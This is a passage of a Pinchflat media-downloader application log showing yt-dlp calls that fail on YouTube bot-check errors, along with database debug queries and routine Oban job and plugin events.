/tmp/pinchflat/data/aa/a0/aaa0d649f93432dd2f6543b9ff48229a0da643340ca74485d799d56b8d91a6a1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:56:19.559 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/aa/a0/aaa0d649f93432dd2f6543b9ff48229a0da643340ca74485d799d56b8d91a6a1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] d-WdUYdOdHY: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 18:56:19.560 [error] yt-dlp download error for media item #12001: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] d-WdUYdOdHY: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 18:56:19.560 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] d-WdUYdOdHY: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 18:56:19.560 [info] {"args":{"id":12001},"id":1723,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1952450,"event":"job:stop","queue_time":607462,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:56:19.567 [info] {"args":{"id":12518},"id":1724,"meta":{},"system_time":1774911379567527084,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:56:19.568 [debug] QUERY OK source="media_items" db=0.2ms idle=186.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12518] 18:56:19.568 [info] User scripts lifecyle file either not present or is empty. Skipping. 18:56:19.568 [debug] QUERY OK source="sources" db=0.2ms idle=186.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:19.569 [debug] QUERY OK source="media_profiles" db=0.1ms idle=182.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:19.569 [debug] QUERY OK source="media_items" db=0.2ms idle=8.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12518] 18:56:19.570 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12518] 18:56:19.570 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:19.571 [debug] QUERY OK source="settings" db=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:19.571 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:19.571 [debug] Running yt-dlp command for action: get_downloadable_status 18:56:19.572 [debug] QUERY OK source="settings" db=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:19.572 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:19.572 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:19.572 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/80/2a/802a4753d8a80d573a9487cd18a07478e1f9acbe7928b11b381b74ab0222eb13.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:56:19.804 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/10/cd/10cd9da19d622728c565bb4480d413d8dfc4f7495cd13f1ce8e3429312c58b52.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] D2bWh5wTlZ0: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 18:56:19.804 [error] yt-dlp download error for media item #11511: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] D2bWh5wTlZ0: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 18:56:19.804 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] D2bWh5wTlZ0: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 18:56:19.804 [info] {"args":{"id":11511},"id":1722,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":2196529,"event":"job:stop","queue_time":607462,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:56:21.508 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/80/2a/802a4753d8a80d573a9487cd18a07478e1f9acbe7928b11b381b74ab0222eb13.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] xX48Eo_uC9c: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 18:56:21.508 [error] yt-dlp download error for media item #12518: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] xX48Eo_uC9c: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 18:56:21.508 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] xX48Eo_uC9c: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 18:56:21.509 [info] {"args":{"id":12518},"id":1724,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1941098,"event":"job:stop","queue_time":2566507,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:56:46.520 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:57:00.519 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:57:16.521 [info] {"source":"oban","duration":763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:57:46.523 [info] {"source":"oban","duration":776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:58:00.520 [info] {"source":"oban","duration":364,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:58:16.525 [info] {"source":"oban","duration":760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:58:46.526 [info] {"source":"oban","duration":750,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:59:00.521 [info] {"source":"oban","duration":251,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:59:16.527 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:59:46.528 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:00:00.523 [info] {"source":"oban","duration":371,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:00:16.529 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:00:46.530 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:01:00.523 [info] {"source":"oban","duration":270,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:01:16.532 [info] {"source":"oban","duration":802,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:01:46.534 [info] {"source":"oban","duration":756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:02:00.524 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:02:16.536 [info] {"source":"oban","duration":798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:02:46.538 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:03:00.525 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:03:16.539 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:03:46.540 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:04:00.526 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:04:16.541 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:04:46.542 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:05:00.527 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:05:16.543 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:05:46.544 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:06:00.528 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:06:16.545 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:06:46.546 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:07:00.529 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:07:16.547 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:07:46.548 [info] {"source":"oban","duration":783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:00.530 [info] {"source":"oban","duration":295,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:08:16.550 [info] {"source":"oban","duration":777,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:46.552 [info] {"source":"oban","duration":807,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:09:00.531 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:09:16.554 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:09:46.555 [info] {"source":"oban","duration":880,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:00.532 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:10:16.557 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:46.558 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:11:00.533 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:11:16.559 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:11:46.560 [info] {"source":"oban","duration":522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:12:00.534 [info] {"source":"oban","duration":131,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:12:16.561 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:12:46.562 [info] {"source":"oban","duration":812,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:13:00.535 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:13:16.564 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:13:46.565 [info] {"source":"oban","duration":541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:14:00.536 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:14:16.566 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:14:46.567 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:00.537 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:15:16.568 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:46.570 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:16:00.538 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:16:16.571 [info] {"source":"oban","duration":796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:16:46.573 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:17:00.539 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:17:16.574 [info] {"source":"oban","duration":809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:17:46.576 [info] {"source":"oban","duration":2242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:18:00.540 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:18:16.578 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:18:46.579 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:19:00.541 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:19:16.580 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:19:46.582 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:20:00.542 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:20:16.583 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:20:46.584 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:00.543 [info] {"source":"oban","duration":245,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:21:16.585 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:46.586 [info] {"source":"oban","duration":840,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:22:00.544 [info] {"source":"oban","duration":308,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:22:16.588 [info] {"source":"oban","duration":791,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:22:46.590 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:23:00.545 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:23:16.591 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:23:46.592 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:00.546 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:24:16.593 [info] {"source":"oban","duration":782,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:46.595 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:25:00.547 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:25:16.597 [info] {"source":"oban","duration":806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:25:46.599 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:26:00.548 [info] {"source":"oban","duration":338,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:26:16.600 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:26:46.601 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:27:00.549 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:27:16.602 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:27:46.603 [info] {"source":"oban","duration":566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:00.550 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:28:16.604 [info] {"source":"oban","duration":803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:46.605 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:00.551 [info] {"source":"oban","duration":61,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:29:16.606 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:46.607 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:30:00.552 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:30:16.608 [info] {"source":"oban","duration":846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:30:46.610 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:31:00.553 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:31:16.611 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:31:46.612 [info] {"source":"oban","duration":799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:32:00.554 [info] {"source":"oban","duration":255,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:32:16.614 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:32:46.615 [info] {"source":"oban","duration":559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:33:00.555 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:33:16.616 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:33:46.617 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:34:00.556 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:34:16.618 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:34:46.619 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:00.557 [info] {"source":"oban","duration":253,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:35:16.620 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:46.621 [info] {"source":"oban","duration":841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:36:00.559 [info] {"source":"oban","duration":327,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:36:16.623 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:36:46.624 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:37:00.559 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:37:16.625 [info] {"source":"oban","duration":763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:37:46.626 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:38:00.560 [info] {"source":"oban","duration":288,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:38:16.627 [info] {"source":"oban","duration":857,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:38:46.629 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:00.561 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:39:16.630 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:46.631 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:40:00.562 [info] 